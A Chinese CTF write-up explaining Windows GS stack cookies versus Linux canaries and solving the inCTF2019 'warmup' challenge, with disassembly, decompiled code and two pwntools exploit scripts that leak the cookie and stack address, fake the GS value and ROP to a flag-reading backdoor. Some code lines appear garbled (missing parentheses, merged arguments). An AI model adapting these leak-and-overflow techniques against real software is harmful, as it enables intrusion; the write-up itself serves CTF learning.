[Pwn]WIN PWN–初识GS

GS

GS保护类似与linuxcanary保护,所以跟canary一样是在当前ebp位置上面的一个值。当函数结束调用时,会检测这个值是否被篡改来判断是否栈溢出

通过一个例题来了解GS是怎么进入栈的,而且跟linuxcanary的区别

push    ebp
mov ebp, esp
sub esp, 44h
mov eax, ___security_cookie
xor eax, ebp
mov [ebp+var_4], eax
call sub_F22A5E
push offset aWelcomeBanner ; "Welcome ------ Bannern"
call sub_F213A7
add esp, 4
call sub_F21AAF
push offset aDidYouMakeSome ; "Did you make something out of it ??? :"
call sub_F213A7
add esp, 4
push 0 ; lpOverlapped
push 0 ; lpNumberOfBytesRead
push 60h ; '`' ; nNumberOfBytesToRead
lea eax, [ebp+Buffer]
push eax ; lpBuffer
mov ecx, hFile
push ecx ; hFile
call ds:__imp_ReadFile
xor eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn

我们看到程序先开辟了函数所需要的栈空间,然后获取全局变量___security_cookie的值,并将它与ebp的值进行异或,然后保存在当前ebp位置上面

push    ebp
mov ebp, esp
sub esp, 44h
mov eax, ___security_cookie ; 获取全局变量security_cookie的值
xor eax, ebp ; 将security_cookie的值与ebp进行异或
mov [ebp+var_4], eax ; 保存在当前ebp位置上面 也就是GS的值

然后我们看看验证部分,可以看到是将GS的值先取出来,然后跟ebp进行异或恢复security_cookie的值,再进入验证函数__security_check_cookie(x)

xor     eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn

与canary不同

canary是通过TLS会在一开始时生成初始值(最后一位为00),然后加载进入[ebp-4]的位置(通常情况),所以我们只需要泄露出来canary那么我们便可以在linux的程序中反复使用,因为是一个固定的值

windows下,GS的值是由security_cookie(固定的)和ebp(栈地址)进行异或加密,来实现的,所以我们泄露出来当前的GS的值,也只有在当前的栈空间可以使用,因为我们溢出是会修改到ebp,例如:

pop ebp
retn
// 或者是
leave ebp
ret

所以,使得我们需要利用某些gadget时,因为上下文的不同,我们需要自己伪造GS的值,所以我们完全利用的话,需要泄露出来至少这三个值中两个值:GSsecurity_cookieebp(也就是栈地址)


我们下面就可以通过一道例题来实操一下

inCTF2019 warmup

代码审计

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char Buffer[64]; // [esp+0h] [ebp-44h] BYREF

  sub_F22A5E();
  output((int)aWelcomeBanner, Buffer[0]);
  sub_F21AAF();
  output((int)aDidYouMakeSome, Buffer[0]);
  ReadFile(hFile, Buffer, 0x60u, 00);
  return 0;
}

这里有一个明显的栈溢出

ReadFile(hFile, Buffer, 0x60u, 0, 0);

然后我们看向sub_F21AAF()函数(跳到了sub_F26B50()函数):

int sub_F26B50()
{
  HANDLE ProcessHeap; // eax
  char hHeap; // [esp+0h] [ebp-2Ch]
  char hHeapa; // [esp+0h] [ebp-2Ch]
  char hHeapb; // [esp+0h] [ebp-2Ch]
  void *lpBuffer; // [esp+4h] [ebp-28h]
  char v6[24]; // [esp+8h] [ebp-24h] BYREF
  int v7; // [esp+20h] [ebp-Ch]
  __int16 v8; // [esp+24h] [ebp-8h]

  strcpy(v6, "Tell me what you want :");
  v7 = 0;
  v8 = 0;
  ProcessHeap = GetProcessHeap();
  hHeap = (char)ProcessHeap;
  lpBuffer = HeapAlloc(ProcessHeap, 8u0x150u);
  output((int)v6, hHeap);
  ReadFile(hFile, lpBuffer, 0x150u, 00);
  output((int)lpBuffer, hHeapa);
  output((int)&unk_F83018, hHeapb);
  return 0;
}

在这里也有一个信息泄露的漏洞:

  ReadFile(hFile, lpBuffer, 0x150u, 00);
  output((int)lpBuffer, hHeapa);

我们可以通过%p来实现栈内数据打印

后门

int sub_F26C80()
{
  DWORD NumberOfBytesWritten; // [esp+0h] [ebp-30h] BYREF
  HANDLE hFile; // [esp+4h] [ebp-2Ch]
  DWORD NumberOfBytesRead; // [esp+8h] [ebp-28h] BYREF
  char Buffer[32]; // [esp+Ch] [ebp-24h] BYREF

  hFile = CreateFileA(aFlag, 0x80000000, 0, 0, 3u, 0x80u, 0);
  while ( ReadFile(hFile, Buffer, 0x20u, &NumberOfBytesRead, 0)
       && NumberOfBytesRead
       && WriteFile(dword_F841B0, Buffer, NumberOfBytesRead, &NumberOfBytesWritten, 0) )
    ;
  return 0;
}

这里有个后门函数,打开了./flag文件,就是ORW出来

思路

所以思路就是通过泄露地址把old_ebp(main函数的ebp)和当前GS给泄露出来计算security_cookie,然后就可以把main函数的GS给计算出来,然后也泄露出来函数的返回地址以便我们计算程序的基址

然后我们利用main函数的栈溢出漏洞,实现控制eip到后门函数即可打印出来flag文件的值

exp

from turtle import back
from pwn import*
context(arch='i386', os='windows',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]

li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def get_p(name):
    global p 
    # p = process(name)
    p = remote("127.0.0.1",1000)
    # p = remote("node5.buuoj.cn",27900)
    # elf = ELF(name)

get_p("")
# pause()

p.sendlineafter("Tell me what you want :","%p%p%p%p%p%p%p%p%p%p-%p-%p-%p")
p.recvuntil("-")
security_encode = int(p.recv(8),16)
p.recvuntil("-")
ebp = int(p.recv(8),16)
p.recvuntil("-")
pie_base = int(p.recv(8),16) - 0x6d27
GS = (ebp - 0x4C) ^ security_encode
security_encode = GS ^ ebp
back_door = pie_base + 0x6C80
ll("security_cookie ==> " + hex(GS))
ll("GS ==> " + hex(security_encode))
ll("ebp ==> " + hex(ebp))
ll("pie_base ==> " + hex(pie_base))


# gdb.attach(p,"")
security_encode_2 = GS ^ (ebp+7*4
payload = b"A"*0x40 + p32(security_encode) + p32(0) + p32(back_door)
p.sendafter("Did you make something out of it ??? :",payload)
p.interactive()

[Pwn]WIN PWN--初识GS

远程

但是如果你在buuctf打远程就可以发现,这样是出不来的,原因是因为远程环境用的是flag.txt,而不是flag,由于我不知道远程的ucrtbase.dll,所以这里我只能用下面这种方法:

我们现在需要的是将后门函数进行一些改造,也就是控制这块

push    0               ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset aFlag ; "./flag"
call ds:__imp_CreateFileA
mov [ebp+hFile], eax

所以我们现在只需要想着如何控制”./flag“为“./flag.txt”,我这里直接是用栈地址去构造,我们直接向栈地址写入”./flag.txt“,然后在栈上伪造上面的数据即是这个:

push    0               ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess

然后就可以实现控制”./flag“为“./flag.txt”,然后就是后门函数是实现orw读出来./flag.txt

写入

我们main函数的栈溢出漏洞,溢出的长度不够我们布置CreateFileA函数的参数,所以我们还得构造ROP来写入

所以我们先要利用ReadFile函数来实现栈写入,这里用两种方法

第一种是泄露出来这个函数地址还有hfile的值,然后才可以实现任意写

第二种是直接跳到这个代码段上:

mov     ecx, hFile
push ecx ; hFile
call ds:__imp_ReadFile
mov edx, [ebp+lpBuffer]
push edx
call output
add esp, 4
push offset unk_F83018
call output
add esp, 4
xor eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn

然后我们在栈上伪造参数即可

我这里选择第二种,第二种因为有__security_check_cookie(x)的检查,使得我们需要计算GS并且控制ebp为一个可写地址,实际上就是在栈上给ebp找个地方就可以,这里建议是在esp的下面,函数的调用可能会使得栈的数据发送变化,改变了我们控制的值

计算我们伪造的GS

GS_2 = security_cookie ^ (ebp+7*4

所以我们这里的payload

payload = b"A"*0x40 + p32(GS) + p32(ebp+7*4) + p32(gadget)  + p32(ebp+8*4) + p32(0x100) + p32(0)*2 + p32(GS_2)

我们这里是这样控制栈空间的

#==================
-------- GS -------
#==================
-----fake ebp -----   我们找的新的ebp的值
#==================
------ gadge ------   上面的代码段地址
#==================    
------ 参数二 ------    写入的地址  就是 fake ebp + 4 的位置
#==================
------ 参数三 ------    写入的长度
#==================    
------ 参数四 ------    
#==================    这两个都是原封不动的写入
------ 参数五 ------
#==================
----- fake GS -----    我们写入的GS
#==================
------- ebp -------     fake ebp 的位置
#==================

然后我们就有足够的长度进行写入,并且构造ROP链了

后门函数

但是这里会有个小点,函数都是依靠ebp来索引变量值的,所以ebp地址必须是可写可读的,所以我们上面有可能会使得ebp地址是非法地址,所以我们需要利用gadget来控制一下ebp的值,这样程序才不会报错

所以我们这里的payload为:

payload = p32(pop_ebp) + p32(ebp+0x200) # 控制 ebp的地址
payload +=p32(back_door) # 控制程序执行
payload += p32(ebp + 0x48) + p32(0x80000000) + p32(0)*2 + p32(3) + p32(0x80) + p32(0) + b"./flag.txtx00" # 把CreateFileA参数压入栈

这里ebp最好是与我们esp远一些,不然很有可能会数据相互覆盖了

最后远程exp

from pwn import*
context(arch='i386', os='windows',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]

li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def get_p(name):
    global p 
    # p = process(name)
    p = remote("127.0.0.1",1000)
    # p = remote("node5.buuoj.cn",27900)
    # elf = ELF(name)

get_p("")
# pause()

p.sendlineafter("Tell me what you want :","%p%p%p%p%p%p%p%p%p%p-%p-%p-%p")
p.recvuntil("-")
GS = int(p.recv(8),16)
p.recvuntil("-")
ebp = int(p.recv(8),16)
p.recvuntil("-")
pie_base = int(p.recv(8),16) - 0x6d27
security_cookie = (ebp - 0x4C) ^ GS
GS = security_cookie ^ ebp
back_door = pie_base + 0x6CA7
main = pie_base + 0x6d00
hfile = 0x641a4 + pie_base
pop_ebp = pie_base + 0x6E77
gadget = pie_base + 0x6D3E
ll("security_cookie ==> " + hex(security_cookie))
ll("GS ==> " + hex(GS))
ll("ebp ==> " + hex(ebp))
ll("pie_base ==> " + hex(pie_base))


# gdb.attach(p,"")
GS_2 = security_cookie ^ (ebp+7*4

payload = b"A"*0x40 + p32(GS) + p32(ebp+7*4) + p32(gadget)  + p32(ebp+8*4) + p32(0x100) + p32(0)*2 + p32(GS_2)
p.sendafter("Did you make something out of it ??? :",payload)

payload = p32(pop_ebp) + p32(ebp+0x200) + p32(back_door) + p32(ebp + 0x48) + p32(0x80000000) + p32(0)*2 + p32(3) + p32(0x80) + p32(0) + b"./flag.txtx00"
# pause()
sleep(0.2)
p.send(payload)
p.interactive()

[Pwn]WIN PWN--初识GS


原文始发于微信公众号(ACT Team):[Pwn]WIN PWN–初识GS

版权声明:admin 发表于 2024年1月14日 下午2:44。
转载请注明:[Pwn]WIN PWN–初识GS | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...